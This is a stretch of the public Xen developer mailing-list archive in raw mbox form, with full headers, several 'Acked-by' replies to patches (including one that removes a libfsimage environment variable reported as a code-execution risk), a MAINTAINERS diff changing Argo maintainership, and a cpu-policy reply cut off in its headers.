X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.c6.2ee9de91ac841128.19f28155423.ab549c87a61d0f6d=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783083914279
X-purgate-ID: tlsNG-33051d/1783083919-B47875D1-F28A5EF1/0/0
X-purgate-type: clean
X-purgate-size: 675

---=Part.c6.2ee9de91ac841128.19f28155423.ab549c87a61d0f6d=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Thu, Apr 30, 2026 at 10:55:21AM +0100, Frediano Ziglio wrote:
> More similar to other implementation=2E
> posix_memalign was adde in NetBSD 8=2E0, released on July 17, 2018
> and went out of support on May 4, 2024=2E
>=20
> Signed-off-by: Frediano Ziglio <frediano=2Eziglio@cloud=2Ecom>

Acked-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
 | Vates 

XCP-ng & Xen Orchestra - Vates solutions

web: https://vate=
s=2Etech
---=Part.c6.2ee9de91ac841128.19f28155423.ab549c87a61d0f6d=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 13:08:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 13:08:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353332.1609299 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfddF-0002xJ-EF; Fri, 03 Jul 2026 13:08:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353332.1609299; Fri, 03 Jul 2026 13:08:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfddF-0002xC-BS; Fri, 03 Jul 2026 13:08:37 +0000
Received: by outflank-mailman (input) for mailman id 1353332;
 Fri, 03 Jul 2026 13:08:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f28184fc000080a8@swg.vates.tech>)
 id 1wfddD-0002x6-WB
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 13:08:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfddD-00Bbpy-Br
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 15:08:35 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f28184fc000080a8@swg.vates.tech>)
 id 6a47b442-bab6-0a2a0a5309dd-0a2a45058cca-28
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:08:35 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f28184fc000080a8@swg.vates.tech>)
 id 6a47b453-3cb2-0a2a45050019-b9ff1c239d81-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:08:35 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f28184fc000080a8.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 03 Jul 2026 13:08:29 +0000
Received: from l14 (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr [90.112.16.6])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 0ADD381C1B;
 Fri,  3 Jul 2026 15:08:29 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=VDWJgtP/AnY0r8NxFjfUJNOMZlOVroSKIzuuLx6zirw=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=jjzMPM0O7g6MSeoGiZG6nGTZV7Lx/U4AoTApaZKym0a7487BngyS/TQgeZy0a9FF95yhLF7jk
 aSGs9J71BKiQAG+bfc7u10XUqUvByczb3gY1s8Oh+9zxpU0tPkfd998OaU/03a9eMWlegA/jpdW
 ctAjqL8iqXqtEdp6CJQfT5Wb97W3IGoVgbmhUQAW4jAed8Yi+QzclKW6vXM55LCyU/8K6lYPFEv
 B+PWmtyFlhcb6F90X1nVY8VK618E5yRfiQ3c+mIieWdwv4sOyBDDMJqCNsdlV9+W1rqX9VxX4BE
 msUZ6xCWQhhizm6O96JYc1iEiWEfLGTdrJOpx6O1YfWA==
X-Zone-Loop: e96cc2f1795bb0a13a820145f52115a20f1a79e15d11
x-campaign-type: default
x-transaction-id: cb8cfce5-a343-4065-b258-43e694a50e03
x-swg-uid: 01-a130aedd-fc21-4193-a899-0b5bf17dfe99
X-Mailer: Sweego
Message-ID:
 <1783084109.8631fc262581453bbf619ec5b2062170.19f28184fc000080a8@vates.tech>
x-swg-bid: 1783084109.8631fc262581453bbf619ec5b2062170.19f28184fc000080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Fri, 3 Jul 2026 15:08:28 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>, Julien Grall <julien@xen.org>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH for-4.22] tools/libfsimage: Remove the XEN_FSIMAGE_FSDIR
 environment variable
References: <20260702150301.825883-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260702150301.825883-1-andrew.cooper3@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.c7.af50758f9556348f.19f28184d77.5869ff7f27bf93b=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783084109175
X-purgate-ID: tlsNG-c201ff/1783084115-14F072B8-38318739/0/0
X-purgate-type: clean
X-purgate-size: 924

---=Part.c7.af50758f9556348f.19f28184d77.5869ff7f27bf93b=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Thu, Jul 02, 2026 at 04:03:01PM +0100, Andrew Cooper wrote:
> This was reported to the security team, demonstrating that code executio=
n
> could be achieved, but without a demonstration of a priviliege boundary =
being
> bypassed=2E
>=20
> Still, it's a high risk path with no obvious evidence of having been use=
d even
> for debugging, so remove the environment variable and use the build time
> $(libdir)/xenfsimage path only=2E
>=20
> Signed-off-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>

Acked-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.c7.af50758f9556348f.19f28184d77.5869ff7f27bf93b=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 13:10:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 13:10:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353355.1609307 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfdf4-0004RP-P5; Fri, 03 Jul 2026 13:10:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353355.1609307; Fri, 03 Jul 2026 13:10:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfdf4-0004RI-M7; Fri, 03 Jul 2026 13:10:30 +0000
Received: by outflank-mailman (input) for mailman id 1353355;
 Fri, 03 Jul 2026 13:10:29 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f281a15d000080a8@swg.vates.tech>)
 id 1wfdf3-0004RB-RF
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 13:10:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfdf3-00HJ8H-82
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 15:10:29 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f281a15d000080a8@swg.vates.tech>)
 id 6a47b4bf-2eae-0a2a0a5409dd-0a2a4509ab62-24
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:10:29 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f281a15d000080a8@swg.vates.tech>)
 id 6a47b4c4-97e6-0a2a45090019-b9ff1c12a495-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:10:29 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f281a15d000080a8.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 03 Jul 2026 13:10:26 +0000
Received: from l14 (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr [90.112.16.6])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 43EA881BF1;
 Fri,  3 Jul 2026 15:10:25 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=xUYMzz16TJmepg947+pGYhGIre2CDd2/iM8L4cia8cI=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=gOV/hZ3g8NGAqUHMg8WDRoqzaZow4G0De3jJBLiXTau6I5aKHhI5rqres9ZA1xQRlLIAMxKrp
 DYPn0QyQkek0gxFWBoRTHMkD+WpFFsbQA65jYGB7+YJ/P45eo/MYWoe2FS/4ItT269o06bKkN8o
 yPaa91OyF+ndbh5nJuCkSsSqiQj/23RelTTnOWHCLxwUKfk1mTDBisgCH2X7/ZYJcxK1zYvbR0Y
 G+93c7CFND+xZ3CSLdoL+dr/cjlL+iwMghV3+juVRDh5fVgef9gd0YCQ2qAARAfdnOzykg+c+y9
 tifI1RCx2ejegldn0MTlXoYdzEWk7PFPq9QCvYn8V5zg==
X-Zone-Loop: b38b0842b25709e937141a36b9064441bca85a7ef37a
x-campaign-type: default
x-transaction-id: 3a1740db-54fc-4c2a-b1b8-a70c7911fd62
x-swg-uid: 01-72aad2ae-2065-492a-80e5-210a2f103eb2
X-Mailer: Sweego
Message-ID:
 <1783084226.8631fc262581453bbf619ec5b2062170.19f281a15d000080a8@vates.tech>
x-swg-bid: 1783084226.8631fc262581453bbf619ec5b2062170.19f281a15d000080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Fri, 3 Jul 2026 15:10:25 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Roger Pau Monne <roger.pau@citrix.com>
Cc: xen-devel@lists.xenproject.org,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>, Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Christopher Clark <christopher.w.clark@gmail.com>
Subject: Re: [PATCH] argo: fall back maintainership into the rest
References: <20260702163845.36453-1-roger.pau@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260702163845.36453-1-roger.pau@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.c9.8bbea27004231cbf.19f281a1381.e615ae573bc4ba06=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783084225410
X-purgate-ID: tlsNG-bad1c0/1783084229-56B97986-314FB8B7/0/0
X-purgate-type: clean
X-purgate-size: 940

---=Part.c9.8bbea27004231cbf.19f281a1381.e615ae573bc4ba06=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Thu, Jul 02, 2026 at 06:38:45PM +0200, Roger Pau Monne wrote:
> Due to unresponsiveness of the current maintainer=2E  In particular, the
> committers have been trying to get in touch with Christopher for 2 weeks=
 to
> have a chat about disputes around recent commits and pending changes to =
the
> ARGO component without getting any response=2E
>=20
> Signed-of-by: Roger Pau Monn=C3=A9 <roger=2Epau@citrix=2Ecom>
> ---
> This patch is on behalf of the committers, and not a personal decision o=
f
> its author=2E

Acked-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.c9.8bbea27004231cbf.19f281a1381.e615ae573bc4ba06=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 13:26:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 13:26:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353374.1609317 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfduL-0006ro-0g; Fri, 03 Jul 2026 13:26:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353374.1609317; Fri, 03 Jul 2026 13:26:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfduK-0006rh-TS; Fri, 03 Jul 2026 13:26:16 +0000
Received: by outflank-mailman (input) for mailman id 1353374;
 Fri, 03 Jul 2026 13:26:15 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dpsmith@apertussolutions.com>) id 1wfduJ-0006rb-MA
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 13:26:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfduJ-009BZo-2o
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 15:26:15 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a47b874-e002-0a2a0a5209dd-0a2a450acab4-2
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:26:14 +0200
Received: from [136.143.188.51] (helo=sender4-of-o51.zoho.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a47b874-e40e-0a2a450a0019-888fbc3352ad-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:26:14 +0200
Received: by mx.zohomail.com with SMTPS id 1783085163546356.15735760972905;
 Fri, 3 Jul 2026 06:26:03 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=zoho header.d=apertussolutions.com header.i="dpsmith@apertussolutions.com" header.h="From:To:Cc:Subject:Date:Message-Id:MIME-Version:Content-Transfer-Encoding"
ARC-Seal: i=1; a=rsa-sha256; t=1783085165; cv=none; 
	d=zohomail.com; s=zohoarc; 
	b=QDkFvulDrMEXanFNnGDyt5B2JOroMiaGAB9msIxYQ0RnI4d1zDTa8LDuq8Cye3IJgABvQCWw20ZfLYL98aG3YEm6K8gQpZmmvxSPn+FRJteR9QMat0QAtnCjRzoPQiB9u9mUsfcWMa2i2MQbjy6IBkgcEb+wNY5cqvwPCupvP1s=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.com; s=zohoarc; 
	t=1783085165; h=Content-Transfer-Encoding:Cc:Cc:Date:Date:From:From:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To; 
	bh=ig8ANEKwi0TjwdlfQpJ6o8aEeNdrbGbOiuwMXYgrS2U=; 
	b=ESNqU2tILqAVYfuBgw7flcegEB4mBb3irmu+NBzlw8ZdsBpeDiPOrKlyNszl9WUuaJk+JTOdhzZbjJdI5lntT8Os9Ht9Bx9l5nrhSbU4VjwmTmcnS5CAVfYF9gqVm+l7SS4ZymA2Z513/Zs7WhcTMBWglv+dX1ih9fwBzk/KVYQ=
ARC-Authentication-Results: i=1; mx.zohomail.com;
	dkim=pass  header.i=apertussolutions.com;
	spf=pass  smtp.mailfrom=dpsmith@apertussolutions.com;
	dmarc=pass header.from=<dpsmith@apertussolutions.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1783085165;
	s=zoho; d=apertussolutions.com; i=dpsmith@apertussolutions.com;
	h=From:From:To:To:Cc:Cc:Subject:Subject:Date:Date:Message-Id:Message-Id:MIME-Version:Content-Transfer-Encoding:Reply-To;
	bh=ig8ANEKwi0TjwdlfQpJ6o8aEeNdrbGbOiuwMXYgrS2U=;
	b=uzD2s04WQqKV9AJIiueHwXOAScOqTq/yzbQTZmcANYurMm4O/i+83Wo85gujck4A
	EOFfSDCW+KabYJiz0IXrgNcT7OndIiqB68y9LpcFhJHSvIFOgcN6dbUMzVGoXTAvfOJ
	vR6Msy+zNqX1qawiFt6OP3sSMRzpf1I+1SnUt3VQ=
From: "Daniel P. Smith" <dpsmith@apertussolutions.com>
To: xen-devel@lists.xenproject.org
Cc: "Daniel P. Smith" <dpsmith@apertussolutions.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH] maintiners: promote to argo maintainer
Date: Fri,  3 Jul 2026 09:18:55 -0400
Message-Id: <20260703131855.3256-1-dpsmith@apertussolutions.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-ZohoMailClient: External
X-purgate-ID: tlsNG-4011c0/1783085174-3E20DDDE-F7003CE2/0/0
X-purgate-type: clean
X-purgate-size: 774

I have been involved with Argo since its inception and a reviewer for some
time. As Argo is a critical part of the solution I maintain, I am stepping up
to help oversee its ongoing maintenance.

Signed-off-by: Daniel P. Smith <dpsmith@apertussolutions.com>
---
 MAINTAINERS | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/MAINTAINERS b/MAINTAINERS
index 81bd0dfeec30..e42afe70fc10 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -242,7 +242,7 @@ F:	xen/arch/x86/include/asm/hvm/svm/
 
 ARGO
 M:	Christopher Clark <christopher.w.clark@gmail.com>
-R:	Daniel P. Smith <dpsmith@apertussolutions.com>
+M:	Daniel P. Smith <dpsmith@apertussolutions.com>
 S:	Maintained
 F:	xen/include/public/argo.h
 F:	xen/include/xen/argo.h
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 13:37:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 13:37:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353396.1609325 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfe5R-0000rY-UQ; Fri, 03 Jul 2026 13:37:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353396.1609325; Fri, 03 Jul 2026 13:37:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfe5R-0000rR-RY; Fri, 03 Jul 2026 13:37:45 +0000
Received: by outflank-mailman (input) for mailman id 1353396;
 Fri, 03 Jul 2026 13:37:44 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f2833024000080a8@swg.vates.tech>)
 id 1wfe5Q-0000rL-Ct
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 13:37:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfe5P-009EC2-Q0
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 15:37:43 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f2833024000080a8@swg.vates.tech>)
 id 6a47bb1b-bab6-0a2a0a5309dd-0a2a450beb98-22
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:37:43 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f2833024000080a8@swg.vates.tech>)
 id 6a47bb27-ac48-0a2a450b0019-b9ff1c239d03-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:37:43 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f2833024000080a8.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 03 Jul 2026 13:37:39 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id A451F81C28;
 Fri,  3 Jul 2026 15:37:38 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=1n3YZFETxOsJfoHK6l3xelDjADhaX9JklcckDZjk4d8=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=XCnGvjCDchGO7ZKV9Y8phvrpTyCVWKf2GjYoGSz08e9C6TgoJvf/WISWc5s4T94w51t4iBYs5
 XwNBOqycCNOmYGYhi2dVt/cOLLjzBnTGes1c6d7px0iC2NdU7uvkpsFNnA808fKav1JeMCGtNoh
 FElo4+tQwVk98rJO3sfS0UUTCZiS2kOU1QxQ7Wxypo6ZHA4hsNpgGkCpfGfmQfy7XSqcPIx5+7b
 /vjCkgLwQWBvg8oNUboL03kEhi5CRvkXvnaQaYRSfDenTF01h5ayxC61lw7i8jNLjmGhZOOb9ro
 dn/MoerKtP0urxKi4f0dCmu/3+ROAfmKMrYu7Tg6e11g==
X-Zone-Loop: 37c93c5ea6495444149334cade739c490a5ca6b9c555
x-campaign-type: default
x-transaction-id: 4fc35f1d-c934-418c-b421-c1125f076366
x-swg-uid: 01-c0c9f1b1-1563-4409-949d-07487259897a
X-Mailer: Sweego
Message-ID:
 <1783085859.8631fc262581453bbf619ec5b2062170.19f2833024000080a8@vates.tech>
x-swg-bid: 1783085859.8631fc262581453bbf619ec5b2062170.19f2833024000080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Fri, 3 Jul 2026 15:37:38 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 for-4.22] x86/cpu-policy: set up host policy earlier
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
